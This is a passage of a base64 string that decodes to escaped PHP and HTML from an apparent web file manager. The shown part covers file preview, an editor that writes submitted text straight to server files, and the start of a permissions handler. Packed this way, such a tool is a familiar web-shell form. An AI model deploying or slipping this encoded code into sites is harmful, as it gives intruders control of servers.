sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxl